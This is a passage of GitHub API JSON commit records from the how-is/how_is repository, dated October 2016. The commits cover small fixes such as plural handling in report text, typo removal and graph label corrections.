ts{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"78f0af3a3be654654fb1b46d303b26f59c26364b","url":"https://api.github.com/repos/how-is/how_is/commits/78f0af3a3be654654fb1b46d303b26f59c26364b","html_url":"https://github.com/how-is/how_is/commit/78f0af3a3be654654fb1b46d303b26f59c26364b"},{"sha":"36a05bbfb8026503450c29316f88c2248fff31a9","url":"https://api.github.com/repos/how-is/how_is/commits/36a05bbfb8026503450c29316f88c2248fff31a9","html_url":"https://github.com/how-is/how_is/commit/36a05bbfb8026503450c29316f88c2248fff31a9"}]},{"sha":"36a05bbfb8026503450c29316f88c2248fff31a9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzZhMDViYmZiODAyNjUwMzQ1MGMyOTMxNmY4OGMyMjQ4ZmZmMzFhOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:47:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:47:00Z"},"message":"Handle are vs is when handling singular/plural values in report text.","tree":{"sha":"f7039e2adb7986eadf8e0772423429b4e60170ff","url":"https://api.github.com/repos/how-is/how_is/git/trees/f7039e2adb7986eadf8e0772423429b4e60170ff"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/36a05bbfb8026503450c29316f88c2248fff31a9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/36a05bbfb8026503450c29316f88c2248fff31a9","html_url":"https://github.com/how-is/how_is/commit/36a05bbfb8026503450c29316f88c2248fff31a9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/36a05bbfb8026503450c29316f88c2248fff31a9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1","url":"https://api.github.com/repos/how-is/how_is/commits/04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1","html_url":"https://github.com/how-is/how_is/commit/04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1"}]},{"sha":"04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDRjNjJmNThiM2U3OTIzOWJmZTdiMWQxZjFlZjQyYWE5Zjg2MzdlMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:43:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:43:22Z"},"message":"Handle singular/plural PRs and issues correctly.\n\nFixes issue #49.","tree":{"sha":"00d14250c0a9d50a4f9ea288bf33a4be7d1e2f25","url":"https://api.github.com/repos/how-is/how_is/git/trees/00d14250c0a9d50a4f9ea288bf33a4be7d1e2f25"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1","html_url":"https://github.com/how-is/how_is/commit/04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/04c62f58b3e79239bfe7b1d1f1ef42aa9f8637e1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"78f0af3a3be654654fb1b46d303b26f59c26364b","url":"https://api.github.com/repos/how-is/how_is/commits/78f0af3a3be654654fb1b46d303b26f59c26364b","html_url":"https://github.com/how-is/how_is/commit/78f0af3a3be654654fb1b46d303b26f59c26364b"}]},{"sha":"78f0af3a3be654654fb1b46d303b26f59c26364b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzhmMGFmM2EzYmU2NTQ2NTRmYjFiNDZkMzAzYjI2ZjU5YzI2MzY0Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:38:20Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-06T02:38:20Z"},"message":"Merge pull request #64 from how-is/issue-61-typo-fix\n\nRemove duplicate period.","tree":{"sha":"58b86595bc6213304b27ebf16a27c8a85942d283","url":"https://api.github.com/repos/how-is/how_is/git/trees/58b86595bc6213304b27ebf16a27c8a85942d283"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/78f0af3a3be654654fb1b46d303b26f59c26364b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/78f0af3a3be654654fb1b46d303b26f59c26364b","html_url":"https://github.com/how-is/how_is/commit/78f0af3a3be654654fb1b46d303b26f59c26364b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/78f0af3a3be654654fb1b46d303b26f59c26364b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a1ff0f066232c30f08577640b23cf3e81e444da","url":"https://api.github.com/repos/how-is/how_is/commits/9a1ff0f066232c30f08577640b23cf3e81e444da","html_url":"https://github.com/how-is/how_is/commit/9a1ff0f066232c30f08577640b23cf3e81e444da"},{"sha":"69927f82c97eaccf62e478c0f82b091a6f6d0dc4","url":"https://api.github.com/repos/how-is/how_is/commits/69927f82c97eaccf62e478c0f82b091a6f6d0dc4","html_url":"https://github.com/how-is/how_is/commit/69927f82c97eaccf62e478c0f82b091a6f6d0dc4"}]},{"sha":"69927f82c97eaccf62e478c0f82b091a6f6d0dc4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Njk5MjdmODJjOTdlYWNjZjYyZTQ3OGMwZjgyYjA5MWE2ZjZkMGRjNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:30:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:30:25Z"},"message":"Remove duplicate period.","tree":{"sha":"58b86595bc6213304b27ebf16a27c8a85942d283","url":"https://api.github.com/repos/how-is/how_is/git/trees/58b86595bc6213304b27ebf16a27c8a85942d283"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/69927f82c97eaccf62e478c0f82b091a6f6d0dc4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/69927f82c97eaccf62e478c0f82b091a6f6d0dc4","html_url":"https://github.com/how-is/how_is/commit/69927f82c97eaccf62e478c0f82b091a6f6d0dc4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/69927f82c97eaccf62e478c0f82b091a6f6d0dc4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a1ff0f066232c30f08577640b23cf3e81e444da","url":"https://api.github.com/repos/how-is/how_is/commits/9a1ff0f066232c30f08577640b23cf3e81e444da","html_url":"https://github.com/how-is/how_is/commit/9a1ff0f066232c30f08577640b23cf3e81e444da"}]},{"sha":"9a1ff0f066232c30f08577640b23cf3e81e444da","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWExZmYwZjA2NjIzMmMzMGYwODU3NzY0MGIyM2NmM2U4MWU0NDRkYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:27:48Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-06T02:27:48Z"},"message":"Merge pull request #63 from how-is/issue-61\n\nHandle cases where there are no issues or PRs.","tree":{"sha":"ba9023811623bc5c5fc7b9a2b18f92c31208cdb1","url":"https://api.github.com/repos/how-is/how_is/git/trees/ba9023811623bc5c5fc7b9a2b18f92c31208cdb1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9a1ff0f066232c30f08577640b23cf3e81e444da","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9a1ff0f066232c30f08577640b23cf3e81e444da","html_url":"https://github.com/how-is/how_is/commit/9a1ff0f066232c30f08577640b23cf3e81e444da","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9a1ff0f066232c30f08577640b23cf3e81e444da/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"e156e9753bff307d5a7b2242a14cba3716a6dd18","url":"https://api.github.com/repos/how-is/how_is/commits/e156e9753bff307d5a7b2242a14cba3716a6dd18","html_url":"https://github.com/how-is/how_is/commit/e156e9753bff307d5a7b2242a14cba3716a6dd18"},{"sha":"6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c","url":"https://api.github.com/repos/how-is/how_is/commits/6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c","html_url":"https://github.com/how-is/how_is/commit/6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c"}]},{"sha":"6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmRkNmQzNjZjZTE3YjYzNTY1NGYzYjBmZDcxYTMyZmI3NmI4YmI5Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:25:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T02:25:06Z"},"message":"Handle cases where there are no issues or PRs.\n\nFixes #61.","tree":{"sha":"ba9023811623bc5c5fc7b9a2b18f92c31208cdb1","url":"https://api.github.com/repos/how-is/how_is/git/trees/ba9023811623bc5c5fc7b9a2b18f92c31208cdb1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c","html_url":"https://github.com/how-is/how_is/commit/6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6dd6d366ce17b635654f3b0fd71a32fb76b8bb9c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e156e9753bff307d5a7b2242a14cba3716a6dd18","url":"https://api.github.com/repos/how-is/how_is/commits/e156e9753bff307d5a7b2242a14cba3716a6dd18","html_url":"https://github.com/how-is/how_is/commit/e156e9753bff307d5a7b2242a14cba3716a6dd18"}]},{"sha":"e156e9753bff307d5a7b2242a14cba3716a6dd18","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTE1NmU5NzUzYmZmMzA3ZDVhN2IyMjQyYTE0Y2JhMzcxNmE2ZGQxOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T01:48:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-06T01:48:21Z"},"message":"Merge pull request #62 from how-is/issue-48\n\nFix \"No label\" graph label.","tree":{"sha":"5055b72480cd59b3b20fe06d3920502fc5c42eea","url":"https://api.github.com/repos/how-is/how_is/git/trees/5055b72480cd59b3b20fe06d3920502fc5c42eea"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e156e9753bff307d5a7b2242a14cba3716a6dd18","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e156e9753bff307d5a7b2242a14cba3716a6dd18","html_url":"https://github.com/how-is/how_is/commit/e156e9753bff307d5a7b2242a14cba3716a6dd18","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e156e9753bff307d5a7b2242a14cba3716a6dd18/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6b5686c0ed65152e8f18f019b6d08c6ba6539f89","url":"https://api.github.com/repos/how-is/how_is/commits/6b5686c0ed65152e8f18f019b6d08c6ba6539f89","html_url":"https://github.com/how-is/how_is/commit/6b5686c0ed65152e8f18f019b6d08c6ba6539f89"},{"sha":"966732674c019dc97f98d7a6b4bc0fc8e07b131b","url":"https://api.github.com/repos/how-is/how_is/commits/966732674c019dc97f98d7a6b4bc0fc8e07b131b","html_url":"https://github.com/how-is/how_is/commit/966732674c019dc97f98d7a6b4bc0fc8e07b131b"}]},{"sha":"966732674c019dc97f98d7a6b4bc0fc8e07b131b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTY2NzMyNjc0YzAxOWRjOTdmOThkN2E2YjRiYzBmYzhlMDdiMTMxYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T01:44:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-06T01:44:58Z"},"message":"Fix \"No label\" graph label.\n\nFixes #48.","tree":{"sha":"5055b72480cd59b3b20fe06d3920502fc5c42eea","url":"https://api.github.com/repos/how-is/how_is/git/trees/5055b72480cd59b3b20fe06d3920502fc5c42eea"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/966732674c019dc97f98d7a6b4bc0fc8e07b131b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/966732674c019dc97f98d7a6b4bc0fc8e07b131b","html_url":"https://github.com/how-is/how_is/commit/966732674c019dc97f98d7a6b4bc0fc8e07b131b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/966732674c019dc97f98d7a6b4bc0fc8e07b131b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6b5686c0ed65152e8f18f019b6d08c6ba6539f89","url":"https://api.github.com/repos/how-is/how_is/commits/6b5686c0ed65152e8f18f019b6d08c6ba6539f89","html_url":"https://github.com/how-is/how_is/commit/6b5686c0ed65152e8f18f019b6d08c6ba6539f89"}]},{"sha":"6b5686c0ed65152e8f18f019b6d08c6ba6539f89","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmI1Njg2YzBlZDY1MTUyZThmMThmMDE5YjZkMDhjNmJhNjUzOWY4OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-02T03:50:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-02T03:50:08Z"},"message":"Merge pull request #60 from how-is/rename-export-bang\n\nRename export! to export_file.","tree":{"sha":"ce44b0087927faf61a1187b78146ce8f318c4cbe","url":"https://api.github.com/repos/how-is/how_is/git/trees/ce44b0087927faf61a1187b78146ce8f318c4cbe"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6b5686c0ed65152e8f18f019b6d08c6ba6539f89","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6b5686c0ed65152e8f18f019b6d08c6ba6539f89","html_url":"https://github.com/how-is/how_is/commit/6b5686c0ed65152e8f18f019b6d08c6ba6539f89","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6b5686c0ed65152e8f18f019b6d08c6ba6539f89/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"79b47b5c484dda5d26a53537100855b54c8f8bcf","url":"https://api.github.com/repos/how-is/how_is/commits/79b47b5c484dda5d26a53537100855b54c8f8bcf","html_url":"https://github.com/how-is/how_is/commit/79b47b5c484dda5d26a53537100855b54c8f8bcf"},{"sha":"c0bb43562e3d02ce976084cfe328760eab9baad1","url":"https://api.github.com/repos/how-is/how_is/commits/c0bb43562e3d02ce976084cfe328760eab9baad1","html_url":"https://github.com/how-is/how_is/commit/c0bb43562e3d02ce976084cfe328760eab9baad1"}]},{"sha":"79b47b5c484dda5d26a53537100855b54c8f8bcf","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzliNDdiNWM0ODRkZGE1ZDI2YTUzNTM3MTAwODU1YjU0YzhmOGJjZg==","commit":{"author":{"name":"El